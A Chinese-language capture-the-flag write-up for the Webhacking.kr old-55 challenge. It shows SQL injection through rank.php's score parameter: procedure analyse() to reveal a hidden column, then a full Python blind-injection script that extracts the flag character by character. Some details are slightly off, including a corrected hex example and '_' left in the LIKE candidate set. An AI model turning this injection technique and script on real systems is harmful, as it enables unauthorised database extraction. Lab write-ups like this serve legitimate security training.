Webhacking.kr old-55

Challenge

Extract the flag from the ranking query.

通过排行榜查询提取 flag。

1
https://webhacking.kr/challenge/web-31/

Analysis

rank.php 将 score 拼入查询,并根据查询结果显示两个可区分的排名行。先把结果限制到第三列,再调用 procedure analyse(),可以得到保存 flag 的列名:

1
/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse()

当前部署返回的列名是:

1
p4ssw0rd_1123581321

接着把 score 设为条件表达式。条件为真时选择已知分数 1 的行,条件为假时选择 2 的行;页面中的两行内容就是 boolean oracle。substr 在当前过滤下不可用,所以用 left。候选前缀转成十六进制后放入 LIKE 0x<hex-prefix>,既避免引号,也避免候选字符串被重新解释。

Solution

单次字符探测的完整请求模板是:

1
https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321%2CN)%20like%200x<hex-prefix>

其中 N 是当前前缀长度,<hex-prefix> 是 FLAG{ 加上已恢复字符的 ASCII 十六进制,例如首个前缀 FLAG{F 应使用:

1
464c414746

上面的示意值中不能混用全角字符;实际 ASCII 十六进制应写成:

1
464c41477b46

以下脚本包含列名、候选字符集、请求、oracle 判断和逐字符循环,可直接复现该盲注算法。运行时用环境变量提供自己的 session cookie,不要把真实 cookie 写进文章或脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import string
import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-31/rank.php"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
COLUMN = "p4ssw0rd_1123581321"
TRUE_MARKER = "Piterpan"
MAX_LENGTH = 64

# LIKE 的十六进制前缀不需要引号;% 不放入候选集,避免它成为 LIKE 通配符。
CHARACTERS = (
string.ascii_letters
+ string.digits
+ "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
)

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-55-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def query(session, expression):
response = session.get(
ENDPOINT,
params={"score": expression},
timeout=20,
)
response.raise_for_status()
return response.text

def oracle(session, condition):
# score=1 is the row identified by TRUE_MARKER; score=2 is the false row.
expression = f"1 and if({condition},1,2)"
return TRUE_MARKER in query(session, expression)

def discover_length(session):
for length in range(1, MAX_LENGTH + 1):
if oracle(session, f"length({COLUMN})={length}"):
return length
raise RuntimeError("flag length was not found")

def recover_flag(session, length):
flag = ""
for position in range(1, length + 1):
for character in CHARACTERS:
candidate = flag + character
hex_prefix = candidate.encode("ascii").hex()
condition = f"left({COLUMN},{position}) like 0x{hex_prefix}"
if oracle(session, condition):
flag = candidate
print(flag)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return flag

def main():
session = make_session()
length = discover_length(session)
print(f"length={length}")
flag = recover_flag(session, length)
print(f"flag={flag}")

if __name__ == "__main__":
main()